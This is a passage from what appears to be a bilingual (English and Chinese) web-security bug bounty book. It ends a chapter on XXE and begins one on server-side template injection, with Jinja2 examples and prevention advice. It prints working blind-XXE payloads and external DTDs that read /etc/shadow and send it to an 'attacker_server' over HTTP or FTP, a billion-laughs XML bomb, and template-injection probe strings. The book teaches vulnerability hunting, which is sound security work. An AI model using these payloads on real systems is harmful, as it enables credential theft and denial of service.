When trying to view unintended data like this, you should look for the exfiltrated data by inspecting the page source code (right-click the page and click View Source ) or HTTP response directly, rather than viewing the HTML page rendered by the browser, because the browser might not render the page correctly.

当尝试查看意外数据时，应该通过检查页面源代码（右键单击页面并单击“查看源代码”）或直接查看HTTP响应来查找渗透的数据，而不是查看浏览器呈现的HTML页面，因为浏览器可能无法正确呈现该页面。

Of course, what you can do with an XXE-based SSRF isn’t simply limited to network scanning and retrieving instance metadata. You can also use the information you gathered to pivot into internal services. For more ideas of how to exploit SSRFs, visit Chapter 13 .

当然，通过基于XXE的SSRF，您可以做的不仅仅局限于网络扫描和检索实例元数据。您还可以使用收集的信息来进入内部服务。有关如何利用SSRF的更多想法，请访问第13章。

Using Blind XXEs

Sometimes the application does not return the results of XML parsing to the user. In this case, you can still exfiltrate data to a server that you control by forcing the XML parser to make an external request with the desired data in the request URL—the blind XXE attacks mentioned earlier. Then you can monitor your server logs to retrieve the exfiltrated data. At this point, you might think the payload of a blind XXE looks like this:

有时，应用程序不能向用户返回XML解析的结果。 在这种情况下，您仍可以通过强制XML解析器在请求URL中进行外部请求并将所需数据包含在其中，从而将数据窃取到您控制的服务器上 - 就像先前提到的盲目XXE攻击一样。 然后，您可以监视您的服务器日志以检索窃取的数据。 这时，您可能认为盲目XXE的有效载荷看起来像这样：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
  <!ENTITY file SYSTEM "file:///etc/shadow">
  <!ENTITY exfiltrate SYSTEM "http://attacker_server/?&file">
]>
<example>&exfiltrate;</example>

This payload is meant to exfiltrate the /etc/shadow file on the server by making a request to the attacker’s server with the file’s contents in a URL parameter. The payload first defines an external entity file that contains the contents of the local /etc/shadow file. Then it makes a request to the attacker’s server with the contents of that file in the request’s URL parameter.

该有效载荷旨在通过在请求的URL参数中使用文件内容向攻击者的服务器请求服务器上的/etc/shadow文件。有效载荷首先定义一个包含本地/etc/shadow文件内容的外部实体文件，然后使用该文件的内容向攻击者的服务器发送请求。

However, this attack probably wouldn’t work, because most parsers do not allow external entities to be included in other external entities. And parsers would stop processing the DTD once they encounter this line: <!ENTITY exfiltrate SYSTEM "http://attacker_server/?&file"> . So exfiltrating data by using a blind XXE is a bit more complicated than in a classic XXE.

然而，这种攻击很可能不起作用，因为大多数解析器不允许在其他外部实体中包含外部实体。一旦遇到这行代码：<!ENTITY exfiltrate SYSTEM "http://attacker_server/?&file">，解析器就会停止处理DTD。因此，使用盲XXE泄露数据比传统XXE要复杂一些。

Fortunately, XML DTDs have a feature called parameter entities that we can use instead. Parameter entities are XML entities that can be referenced only elsewhere within the DTD. They are declared and referenced with a percent ( % ) character. For example, the blind XXE payload I introduced earlier can be rewritten as follows:

幸运的是，XML DTD具有参数实体的功能，我们可以使用它来替代。参数实体是只能在DTD内的其他地方引用的XML实体。它们是通过百分号(%)字符声明和引用的。例如，我之前介绍的盲目XXE负载可以重写为下面的形式：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
  <!ENTITY % file SYSTEM "file:///etc/shadow"> 1
  <!ENTITY % ent "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker_server/?%file;'>"> 2
  %ent;
  %exfiltrate;
]>

This DTD first declares a parameter entity called file that contains the file contents of /etc/shadow 1 . Then it declares a parameter entity named ent that contains a dynamic declaration of another parameter entity called exfiltrate 2 . &#x25; is the hex-encoded version of the percent sign ( % ). Depending on your target, hex encoding is sometimes needed for special characters within dynamic declarations. The exfiltrate entity points to the attacker’s server with the contents of /etc/shadow in the URL parameter. Finally, the DTD references ent to declare the exfiltrate entity and then references exfiltrate to trigger the outbound request.

此DTD首先声明一个名为file的参数实体，其中包含/etc/shadow的文件内容1。然后声明一个名为ent的参数实体，其中包含对另一个名为exfiltrate的参数实体的动态声明2。&#x25;是百分号（％）的十六进制编码版本。根据您的目标，动态声明中的特殊字符有时需要进行十六进制编码。exfiltrate实体使用URL参数将内容指向攻击者服务器上的/etc/shadow。最后，DTD引用ent声明exfiltrate实体，然后引用exfiltrate触发出站请求。

But if you try to upload this payload to a target, you might notice that it does not work. This is because, according to XML specifications, parameter entities are treated differently in inline DTDs (DTDs within the XML document specified within the DOCTYPE tag) and external DTDs (a separate DTD hosted elsewhere). Within inline DTDs, parameter entities cannot be referenced within markups, so this line wouldn’t work: <!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker_server/?%file;'> , whereas in external DTDs, no such restriction exists.

但是，如果您尝试将此有效载荷上传到目标，您可能会注意到它无法工作。这是因为根据XML规范，在内联DTD（在DOCTYPE标记指定的XML文档内的DTD）和外部DTD（另一个托管在其他地方的DTD）中，参数实体的处理方式不同。在内联DTD中，标记内部无法引用参数实体，因此此行不起作用：<!ENTITY - exfiltrate SYSTEM 'http://attacker_server/?%file;'>，而在外部DTD中，不存在这样的限制。

To exfiltrate data via a blind XXE, you have to overcome this restriction by hosting an external DTD on your server. Try hosting a file named xxe.dtd on your server:

通过盲XXE渗透数据，您需要通过在服务器上托管外部DTD来克服此限制。请尝试在您的服务器上托管名为xxe.dtd的文件。

<!ENTITY % file SYSTEM "file:///etc/shadow">
<!ENTITY % ent "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker_server/?%file;'>">
%ent;
%exfiltrate;

Then make the target parser interpret your DTD by specifying it within a parameter entity and referencing that entity:

然后通过在参数实体内指定它并引用该实体来使目标分析器解释您的DTD：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
  <!ENTITY % xxe SYSTEM "http://attacker_server/xxe.dtd">
  %xxe;
]>

This way, the target server will parse the submitted XML file and notice that a parameter entity is referencing an external file. Then the target server will retrieve and parse that external DTD, so your payload will execute, and the target will send the exfiltrated data back to your server. Here, we are exfiltrating the contents of the file /etc/shadow as a URL parameter in a request to the attacker’s server.

这样，目标服务器将会解析提交的XML文件并注意到参数实体正在引用外部文件。然后目标服务器将检索和解析该外部DTD，因此您的有效负载将执行并将结果发送回您的服务器。在这里，我们将文件/ etc / shadow的内容作为URL参数从攻击者的服务器请求中渗透出来。

Notice that in this attack, we used only parameter entities and did not use external entities at all! If the parser blocks external entities or limits the referencing of entities to protect against XXE, you can use this technique as well. However, this strategy can exfiltrate only a single line of the target file, because the newline character ( \n ) within target files will interrupt the outbound URL and may even cause the HTTP request to fail.

请注意，在这种攻击中，我们仅使用参数实体，没有使用任何外部实体！如果分析器阻止外部实体或限制参考实体以保护免受XXE的影响，则也可以使用此技术。然而，这种策略仅能窃取目标文件的单行文本，因为目标文件中的换行符（\n）将打断出站URL，甚至可能导致HTTP请求失效。

An easier way to exfiltrate data via a blind XXE is by forcing the parser to return a descriptive error message. For example, you can induce a File Not Found error by referencing a nonexistent file as the value of an external entity. Your external DTD can be rewritten as follows:

通过强制解析器返回详细的错误消息，可以更轻松地通过盲XXE泄露数据。例如，您可以通过将不存在的文件引用为外部实体的值来引起"文件未找到"错误。您的外部DTD可以重写为以下方式：

<!ENTITY % file SYSTEM "file:///etc/shadow">
<!ENTITY % ent "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/?%file;'>">
%ent;
%error;

Notice that I included the contents of /etc/shadow in the URL parameter of the nonexistent filepath. Then you can submit the same payload to the target to trigger the attack:

请注意，我在不存在的文件路径的URL参数中包含了/etc/shadow的内容。然后你可以将相同的Payload提交到目标上触发攻击：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
  <!ENTITY % xxe SYSTEM "http://attacker_server/xxe.dtd">
  %xxe;
]>

This malicious DTD will cause the parser to deliver the desired file contents as a File Not Found error:

这个恶意的DTD会导致解析器将所需的文件内容作为“找不到文件”的错误发送：

java.io.FileNotFoundException: file:///nonexistent/FILE CONTENTS OF /etc/shadow

Performing Denial-of-Service Attacks

Another potential way that attackers can exploit XML vulnerabilities is to launch denial-of-service attacks, which disrupt the machine so that legitimate users cannot access its services. Note that you should never try this on a live target! Testing for DoS on a live target can cause the organization financial loss and is usually against companies’ bug bounty policies:

攻击者利用XML漏洞的另一种潜在方式是发动拒绝服务攻击，使机器瘫痪，以致合法用户无法访问其服务。请注意，你绝不应该在现场目标上尝试此类攻击！对现场目标进行DoS测试可能会导致组织财务损失，并且通常违反公司的漏洞赏金政策：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
   <!ELEMENT example ANY>
   <!ENTITY lol "lol">
   <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
   <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
   <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
   <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
   <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
   <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
   <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
   <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
   <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<example>&lol9;</example>

This payload embeds entities within entities, causing the XML parser to recursively dereference entities to get to the root entity value lol . Each lol9 entity would be expanded into 10 lol8 values, and each of those would become 10 lol7 s, and so on. Eventually, a single lol9 will be expanded into one billion lol s. This will overload the memory of the XML parser, potentially causing it to crash.

此有效负载将实体嵌入到实体中，导致 XML 解析器递归引用实体以获取根实体值。每个 lol9 实体将扩展为 10 个 lol8 值，每个值都将变成 10 个 lol7，依此类推。最终，一个单独的 lol9 将会扩展为十亿个 lol。这将使 XML 解析器的内存超载，可能导致崩溃。

This attack method is also called a billion laughs attack or an XML bomb . The example here is taken from Wikipedia, where you can read more about the attack: https://en.wikipedia.org/wiki/Billion_laughs_attack . Interestingly, although this attack is often classified as an XXE attack, it does not involve the use of any external entities!

这种攻击方法也被称为“十亿笑声攻击”或“XML炸弹”。这里的示例取自维基百科，您可以在此阅读更多关于该攻击的信息：https://en.wikipedia.org/wiki/Billion_laughs_attack。有趣的是，虽然这种攻击通常被归类为XXE攻击，但它并不涉及使用任何外部实体！

More About Data Exfiltration Using XXEs

XXE data exfiltration becomes more complicated if the parser is hardened against XXE attacks, and if you are trying to read files of specific formats. But there are always more ways to bypass restrictions!

如果解析器具有硬化对抗XXE攻击的特性，并且你尝试读取特定格式的文件，则XXE数据泄露将变得更加复杂。但总有更多的方法来绕过限制！

Sometimes you’ll want to exfiltrate files that contain XML special characters, such as angle brackets ( <> ), quotes ( " or ' ), and the ampersand ( & ). Accessing these files directly via an XXE would break the syntax of your DTD and interfere with the exfiltration. Thankfully, XML already has a feature that deals with this issue. In an XML file, characters wrapped within CDATA (character data) tags are not seen as special characters. So, for instance, if you’re exfiltrating an XML file, you can rewrite your malicious external DTD as follows:

有时候，您会想窃取包含XML特殊字符的文件，比如尖括号（<>），引号（“或者'），和字符&（和）。直接通过XXE访问这些文件会破坏DTD语法，并干扰窃取。幸运的是，XML已经有一个可以解决这个问题的功能。在XML文件中，被CDATA（字符数据）标签装起来的字符不被视为特殊字符。因此，如果您要窃取一个XML文件，您可以将恶意的外部DTD按以下方式重写：

1 <!ENTITY % file SYSTEM "file:///passwords.xml">
2 <!ENTITY % start "<![CDATA[">
3 <!ENTITY % end "]]>">
4 <!ENTITY % ent "<!ENTITY &#x25; exfiltrate
'http://attacker_server/?%start;%file;%end;'>">
%ent;
%exfiltrate;

This DTD first declares a parameter entity that points to the file you want to read 1 . It also declares two parameter entities containing the strings "<![CDATA[" and "]]>" 2 3 . Then it constructs an exfiltration URL that will not break the DTD’s syntax by wrapping the file’s contents in a CDATA tag 4 . The concatenated exfiltrate entity declaration will become the following:

该DTD首先声明了一个参数实体，该实体指向您想要读取的文件1。它还声明了两个参数实体，包含字符串“<![CDATA[`”和“]]>”2 3。然后，它构建了一个外泄URL，通过将文件内容包装在一个CDATA标记中，不会破坏DTD的语法4。连接的外渗实体声明将成为以下内容：

<!ENTITY % exfiltrate 'http://attacker_server/?<![CDATA[CONTENTS_OF_THE_FILE]]>'>

You can see that our payloads are quickly getting complicated. To prevent accidentally introducing syntax errors to the payload, you can use a tool such as XmlLint ( https://xmllint.com/ ) to ensure that your XML syntax is valid.

你可以看到我们的有效载荷正在迅速变得复杂。为了防止无意间引入语法错误到有效负载中，你可以使用工具如XmlLint(https://xmllint.com/) 来确保你的XML语法是有效的。

Finally, send your usual XML payload to the target to execute the attack:

最后，向目标发送常规的 XML 负载以执行攻击：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
  <!ENTITY % xxe SYSTEM "http://attacker_server/xxe.dtd">
  %xxe;
]>

Another way of exfiltrating files with special characters is to use a PHP URL wrapper. If the target is a PHP-based app, PHP wrappers let you convert the desired data into base64 format so you can use it to read XML files or even binary files:

使用PHP URL包装器是另一种具有特殊字符的文件外泄方式。如果目标是基于PHP的应用程序，则可以使用PHP包装器将所需数据转换为base64格式，以便读取XML文件甚至二进制文件。

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/shadow">
<!ENTITY % ent "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker_server/?%file;'>">
%ent;
%exfiltrate;

The File Transfer Protocol (FTP) can also be used to send data directly while bypassing special character restrictions. HTTP has many special character restrictions and typically restricts the length of the URL. Using FTP instead is an easy way to bypass that. To use it, you need to run a simple FTP server on your machine and modify your malicious DTD accordingly. I used the simple Ruby server script at https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb :

文件传输协议（FTP）也可用于直接发送数据，绕过特殊字符限制。HTTP有许多特殊字符限制，通常限制URL的长度。使用FTP代替它是一个轻松的绕过方法。为了使用它，你需要在你的机器上运行一个简单的FTP服务器，并相应修改你的恶意DTD。我在https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb使用了简单的Ruby服务器脚本。

<!ENTITY % file SYSTEM "file:///etc/shadow">
<!ENTITY % ent "<!ENTITY &#x25; exfiltrate SYSTEM
1 'ftp://attacker_server:2121/?%file;'>">
%ent;
%exfiltrate;

We are using port 2121 here because the Ruby FTP server we are using runs on port 2121, but the correct port to use depends on how you run your server 1 .

我们使用2121端口，因为我们正在使用的Ruby FTP服务器在2121端口上运行，但正确的端口取决于您如何运行您的服务器1。

Finding Your First XXE!

Now that you understand the basics of the XXE attack, try to find your own XXE vulnerability on a real target. Follow the steps covered in this chapter to maximize your chances of success:

既然你已经理解了XXE攻击的基础知识，请尝试在实际目标上找到你自己的XXE漏洞。按照本章节中介绍的步骤，最大化成功的机会。

Find data entry points that you can use to submit XML data.

Determine whether the entry point is a candidate for a classic or blind XXE. The endpoint might be vulnerable to classic XXE if it returns the parsed XML data in the HTTP response. If the endpoint does not return results, it might still be vulnerable to blind XXE, and you should set up a callback listener for your tests.

Try out a few test payloads to see if the parser is improperly configured. In the case of classic XXEs, you can check whether the parser is processing external entities. In the case of blind XXEs, you can make the server send requests to your callback listener to see if you can trigger outbound interaction.

If the XML parser has the functionalities that make it vulnerable to XXE attacks, try to exfiltrate a common system file, like /etc/hostname .

You can also try to retrieve some more sensitive system files, like /etc/shadow or ~/.bash_history .

If you cannot exfiltrate the entire file with a simple XXE payload, try to use an alternative data exfiltration method.

See if you can launch an SSRF attack using the XXE.

Draft up your very first XXE report and send it over to the company!

16
Template Injection

Template engines are a type of software used to determine the appearance of a web page. Developers often overlook attacks that target these engines, called server-side template injections ( SSTIs) , yet they can lead to severe consequences, like remote code execution. They have become more common in the past few years, with instances found in the applications of organizations such as Uber and Shopify.

模板引擎是一种用于确定网页外观的软件。开发人员常常忽视针对这些引擎的攻击，称为服务器端模板注入（SSTI），然而它们可能会导致严重的后果，如远程代码执行。在过去几年中，它们变得越来越普遍，被发现在Uber和Shopify等组织的应用程序中。

In this chapter, we’ll dive into the mechanisms of this vulnerability by focusing on web applications using the Jinja2 template engine. After confirming that we can submit template injections to the application, we’ll take advantage of Python sandbox-escaping tricks to run operating system commands on the server.

在本章中，我们将深入探讨使用Jinja2模板引擎的Web应用程序的漏洞机制。确认我们可以向应用程序提交模板注入后，我们将利用Python沙盒逃逸技巧在服务器上运行操作系统命令。

Exploiting various template engines will require different syntax and methods, but this chapter should give you a good introduction to the principles useful for finding and exploiting template injection vulnerabilities on any system.

利用不同模板引擎需要不同的语法和方法，但这一章应该为您提供了有用的原则，可用于在任何系统上找到和利用模板注入漏洞。

Mechanisms

To understand how template injections work, you need to understand the mechanisms of the template engines they target. Simply put, template engines combine application data with web templates to produce web pages. These web templates, written in template languages such as Jinja, provide developers with a way to specify how a page should be rendered. Together, web templates and template engines allow developers to separate server-side application logic and client-side presentation code during web development.

要了解模板注入的工作原理，您需要了解它们所针对的模板引擎的机制。简而言之，模板引擎将应用程序数据与 Web 模板组合在一起，生成 Web 页面。这些 Web 模板是用诸如 Jinja 之类的模板语言编写的，为开发人员提供了一种指定如何呈现页面的方法。Web 模板和模板引擎一起，在 Web 开发期间允许开发人员分离服务器端应用程序逻辑和客户端呈现代码。

Template Engines

Let’s take a look at Jinja, a template language for Python. Here is a template file written in Jinja. We will store this file with the name example.jinja :

让我们来看看Jinja，这是Python的一个模板语言。这是一个用Jinja编写的模板文件。我们将把这个文件保存为example.jinja的名称：

<html>
  <body>
1 <h1>{{ list_title }}</h1>
  <h2>{{ list_description }}</h2>
2 {% for item in item_list %}
    {{ item }}
    {% if not loop.last %},{% endif %}
  {% endfor %}
  </body>
</html>

As you can see, this template file looks like normal HTML. However, it contains special syntax to indicate content that the template engine should interpret as template code. In Jinja, any code surrounded by double curly brackets {{ }} is to be interpreted as a Python expression, and code surrounded by bracket and percent sign pairings {% %} should be interpreted as a Python statement.

你可以看到，这个模板文件看起来像普通HTML。然而，它包含特殊的语法来指示模板引擎应该将其解析为模板代码的内容。在Jinja中，任何被双花括号{{}} 包围的代码都将被解释为Python表达式，而被括号和百分号配对{% %}包围的代码将被解释为Python语句。

In programming languages, an expression is either a variable or a function that returns a value, whereas a statement is code that doesn’t return anything. Here, you can see that the template first embeds the expressions list_title and list_description in HTML header tags 1 . Then it creates a loop to render all items in the item_list variable in the HTML body 2 .

在编程语言中，表达式指的是变量或返回值的函数，而语句则是不返回任何值的代码。在这里，你可以看到该模板首先将表达式list_title和list_description嵌入到HTML头标签1中。然后，它创建一个循环来在HTML正文2中呈现item_list变量中的所有项目。

Now the developer can combine the template with Python code to create the complete HTML page. The following piece of Python code reads the template file from example.jinja and generates an HTML page dynamically by providing the template engine with values to insert into the template:

现在开发者可以将模板与Python代码结合使用，创建完整的HTML页面。下面的Python代码从example.jinja读取模板文件，并通过向模板引擎提供待插入模板的值，动态生成HTML页面：

from jinja2 import Template
  with open('example.jinja') as f: 1
    tmpl = Template(f.read())
  print(tmpl.render( 2
    list_title = 3 "Chapter Contents",
    list_description = 4 "Here are the contents of chapter 16.",
    item_list = 5 ["Mechanisms Of Template Injection", "Preventing Template Injection", "Hunting For Template Injection", \
"Escalating Template Injection", "Automating Template Injection", "Find Your First Template Injection!"]
))

First, the Python code reads the template file named example.jinja 1 . It then generates an HTML page dynamically by providing the template with the values it needs 2 . You can see that the code is rendering the template with the values Chapter Contents as the list_title 3 , and Here are the contents of chapter 16. as the list_description 4 , and a list of values— Mechanisms Of Template Injection , Preventing Template Injection , Hunting For Template Injection , Escalating Template Injection , Automating Template Injection , and Find Your First Template Injection! —as the item_list 5 .

首先，Python 代码读取名为 example.jinja1 的模板文件。然后，通过向模板提供所需的值，动态生成 HTML 页面。您可以看到，该代码将列表标题渲染为“章节目录”，将列表描述渲染为“以下是第 16 章的内容”，将值列表渲染为“模板注入机制、防止模板注入、寻找模板注入、升级模板注入、自动化模板注入和发现您的第一个模板注入！”。

The template engine will combine the data provided in the Python script and the template file example.jinja to create this HTML page:

模板引擎将组合Python脚本中提供的数据和模板文件example.jinja，以创建此HTML页面：

<html>
  <body>
  <h1>Chapter Contents</h1>
  <h2>Here are the contents of chapter 16.</h2>
  Mechanisms Of Template Injection,
  Preventing Template Injection,
  Hunting For Template Injection,
  Escalating Template Injection,
  Automating Template Injection,
  Find Your First Template Injection!
  </body>
</html>

Template engines make rendering web pages more efficient, as developers can present different sets of data in a standardized way by reusing templates. This functionality is especially useful when developers need to generate pages of the same format with custom content, such as bulk emails, individual item pages on an online marketplace, and the profile pages of different users. Separating HTML code and application logic also makes it easier for developers to modify and maintain parts of the HTML code.

模板引擎使渲染网页更加高效，因为开发人员可以通过重用模板以标准化的方式呈现不同组数据。当开发人员需要生成具有自定义内容的相同格式的页面时，例如群发电子邮件，在线市场上的单个商品页面和不同用户的个人资料页面时，这种功能特别有用。将HTML代码与应用程序逻辑分离还使得开发人员更容易修改和维护HTML代码的部分。

Popular template engines on the market include Jinja, Django, and Mako (which work with Python), Smarty and Twig (which work with PHP), and Apache FreeMarker and Apache Velocity (which work with Java). We’ll talk more about how to identify these template engines in applications later in this chapter.

市场上流行的模板引擎包括 Jinja、Django 和 Mako（适用于 Python），Smarty 和 Twig（适用于 PHP），以及 Apache FreeMarker 和 Apache Velocity（适用于 Java）。我们稍后将在本章更多地谈论如何在应用程序中识别这些模板引擎。

Injecting Template Code

Template injection vulnerabilities happen when a user is able to inject input into templates without proper sanitization. Our previous example isn’t vulnerable to template injection vulnerabilities because it does not embed user input into templates. It simply passes a list of hardcoded values as the list_title , list_description , and item_list into the template. Even if the preceding Python snippet does pass user input into the template like this, the code would not be vulnerable to template injection because it is safely passing user input into the template as data:

“当用户能够注入未经适当消毒处理的输入到模板中时，就会发生模板注入漏洞。我们之前的例子并不容易受到模板注入漏洞的攻击，因为它并未嵌入用户输入到模板中。它只是将一组硬编码的值作为list_title、list_description和item_list传递到模板中。即使前面的Python代码将用户输入作为数据传递到模板中，该代码也不会受到模板注入的攻击，因为它将用户输入安全地传递到模板中作为数据。”

from jinja2 import Template
with open('example.jinja') as f:
    tmpl = Template(f.read())
print(tmpl.render(
   1 list_title = user_input.title,
   2 list_description = user_input.description,
   3 item_list = user_input.list,
))

As you can see, the code is clearly defining that the title portion of the user_input can be used only as the list_title 1 , the description portion of the user_input is the list_description 2 , and the list portion of the user_input can be used for the item_list of the template 3 .

可以看到，代码清楚地定义了用户输入的标题部分只能用作list_title1，用户输入的描述部分是list_description2，而用户输入的列表部分可以用于模板3的item_list。

However, sometimes developers treat templates like strings in programming languages and directly concatenate user input into them. This is where things go wrong, as the template engine won’t be able to distinguish between user input and the developer’s template code.

然而，有时开发人员会像在编程语言中处理字符串一样处理模板，直接将用户输入连接到它们中。这就是问题发生的地方，因为模板引擎无法区分用户输入和开发人员的模板代码。

Here’s an example. The following program takes user input and inserts it into a Jinja template to display the user’s name on an HTML page:

以下是一个示例。下面的程序将用户输入插入到Jinja模板中，以在HTML页面上显示用户的姓名：

from jinja2 import Template
tmpl = Template("
<html><h1>The user's name is: " + user_input + "</h1></html>")1 print(tmpl.render())2

The code first creates a template by concatenating HTML code and user input together 1 , then renders the template 2 .

该代码首先通过将HTML代码和用户输入连接起来创建一个模板，然后渲染该模板。

If users submit a GET request to that page, the website will return an HTML page that displays their name:

如果用户向该页面提交GET请求，则网站将返回一个显示他们姓名的HTML页面：

GET /display_name?name=Vickie
Host: example.com

This request will cause the template engine to render the following page:

这个请求将会导致模板引擎渲染以下页面：

<html>
  <h1>The user's name is: Vickie</h1>
</html>

Now, what if you submitted a payload like the following instead?

如果你提交了以下的有效载荷呢？

GET /display_name?name={{1+1}}
Host: example.com

Instead of supplying a name as the name parameter, you are submitting an expression that has special meaning for the template engine. Jinja2 interprets anything within double curly brackets {{ }} as Python code. You will notice something odd in the resulting HTML page. Instead of displaying the string The user's name is: {{1+1}} , the page displays the string The user's name is: 2 :

使用表达式作为名称参数而不是提供名称。对于模板引擎，括号内的所有内容都会被视为Python代码。在生成的HTML页面中，您会注意到一些奇怪的地方。页面不会显示字符串“The user's name is: {{1+1}}”，而是显示字符串“The user's name is: 2”。

<html>
  <h1>The user's name is: 2</h1>
</html>

What just happened? When you submitted {{1+1}} as your name, the template engine mistook the content enclosed in {{ }} as a Python expression, so it executed 1+1 and returned the number 2 in that field.

刚刚发生了什么？当您将{{1+1}}提交为您的名称时，模板引擎将{{ }}中的内容误认为是Python表达式，因此执行了1+1并返回了数字2在该字段中。

This means you can submit any Python code you’d like and get its results returned in the HTML page. For instance, upper() is a method in Python that converts a string to uppercase. Try submitting the code snippet {{'Vickie'.upper()}} , like this:

这意味着您可以提交任何Python代码，并在HTML页面中获取其结果返回。例如，upper()是Python中将字符串转换为大写的方法。尝试提交代码片段{{'Vickie'.upper()}}，就像这样：

GET /display_name?name={{'Vickie'.upper()}}
Host: example.com

You should see an HTML page like this returned:

你应该看到返回的一个像这样的 HTML 页面：

<html>
  <h1>The user's name is: VICKIE</h1>
</html>

You may have noticed that template injections are similar to SQL injections. If the template engine can’t determine where a piece of user-supplied data ends and where the template logic starts, the template engine will mistake user input for template code. In those cases, attackers can submit arbitrary code and get the template engine to execute their input as source code!

你可能会注意到模板注入和 SQL 注入类似。如果模板引擎无法确定用户输入数据在哪里结束，模板逻辑从哪里开始，则模板引擎会将用户输入误认为模板代码。在这种情况下，攻击者可以提交任意代码，并让模板引擎将其输入作为源代码执行！

Depending on the permissions of the compromised application, attackers might be able to use the template injection vulnerability to read sensitive files or escalate their privileges on the system. We will talk more about escalating template injections later in this chapter.

根据被侵入应用的权限，攻击者可能能够利用模板注入漏洞读取敏感文件或提升系统中的权限。我们稍后在本章中将详细讨论如何提升模板注入。

Prevention

How can you prevent this dangerous vulnerability? The first way is by regularly patching and updating the frameworks and template libraries your application uses. Many developers and security professionals are catching on to the danger of template injections. As a result, template engines publish various mitigations against this attack. Constantly updating your software to the newest version will ensure that your applications are protected against new attack vectors.

你如何预防这个危险漏洞？首先，定期修复和更新应用程序所使用的框架和模板库是一种方法。许多开发人员和安全专家已经意识到模板注入的危险性。因此，模板引擎发布了各种缓解这种攻击的措施。不断更新软件到最新版本将确保您的应用程序受到新攻击向量的保护。

You should also prevent users from supplying user-submitted templates if possible. If that isn’t an option, many template engines provide a hardened sandbox environment that you can use to safely handle user input. These sandbox environments remove potentially dangerous modules and functions, making user-submitted templates safer to evaluate. However, researchers have published numerous sandbox escape exploits, so this is by no means a bulletproof method. Sandbox environments are also only as safe as their configurations.

如果可能的话，你也应该防止用户提供用户提交的模板。如果这不是一个选择，许多模板引擎提供了一种强化了的沙箱环境，可以用来安全地处理用户输入。这些沙箱环境会移除潜在有害的模块和函数，使得用户提交的模板更安全地进行评估。然而，研究人员已经发表了许多沙箱逃逸漏洞，所以这绝不是一个百分百安全的方法。沙箱环境也只要其配置足够安全，才会更加可靠。

Implement an allowlist for allowed attributes in templates to prevent the kind of RCE exploit that I’ll introduce in this chapter. Also, sometimes template engines raise descriptive errors that help attackers develop exploits. You should handle these errors properly and return a generic error page to the user. Finally, sanitize user input before embedding it into web templates and avoid injecting user-supplied data into templates whenever possible.

实现模板中属性允许列表以防止本章介绍的RCE漏洞类型，有时模板引擎会引发有助于攻击者开发漏洞利用的详细错误。应该适当处理这些错误并向用户返回通用错误页面。最后，在将用户输入嵌入Web模板之前对其进行净化，并尽可能避免将用户提供的数据注入模板。

Hunting for Template Injection

As with hunting for many other vulnerabilities, the first step in finding template injections is to identify locations in an application that accept user input.

与寻找其他漏洞一样，寻找模板注入的第一步是识别应用程序中接受用户输入的位置。

Step 1: Look for User-Input Locations

Look for locations where you can submit user input to the application. These include URL paths, parameters, fragments, HTTP request headers and body, file uploads, and more.

寻找可以向应用程序提交用户输入的位置。这些位置包括URL路径、参数、片段、HTTP请求头部和主体、文件上传等。

Templates are typically used to dynamically generate web pages from stored data or user input. For example, applications often use template engines to generate customized email or home pages based on the user’s information. So to look for template injections, look for endpoints that accept user input that will eventually be displayed back to the user. Since these endpoints typically coincide with the endpoints for possible XXS attacks, you can use the strategy outlined in Chapter 6 to identify candidates for template injection. Document these input locations for further testing.

模板通常用于从存储的数据或用户输入动态生成网页。例如，应用程序通常使用模板引擎根据用户信息生成定制的电子邮件或主页。因此，要寻找模板注入，请寻找接受用户输入并最终显示回用户的端点。由于这些端点通常与可能的XXS攻击端点重叠，因此您可以使用第6章中概述的策略来识别模板注入的候选项。记录这些输入位置以进行进一步测试。

Step 2: Detect Template Injection by Submitting Test Payloads

Next, detect template injection vulnerabilities by injecting a test string into the input fields you identified in the previous step. This test string should contain special characters commonly used in template languages. I like to use the string {{1+abcxx}}${1+abcxx}<%1+abcxx%>[abcxx] because it’s designed to induce errors in popular template engines. ${...} is the special syntax for expressions in the FreeMarker and Thymeleaf Java templates; {{...}} is the syntax for expressions in PHP templates such as Smarty or Twig, and Python templates like Jinja2; and <%= ... %> is the syntax for the Embedded Ruby template (ERB). And [ random expression ] will make the server interpret the random expression as a list item if the user input is placed into an expression tag within the template (we will discuss an example of this scenario later).

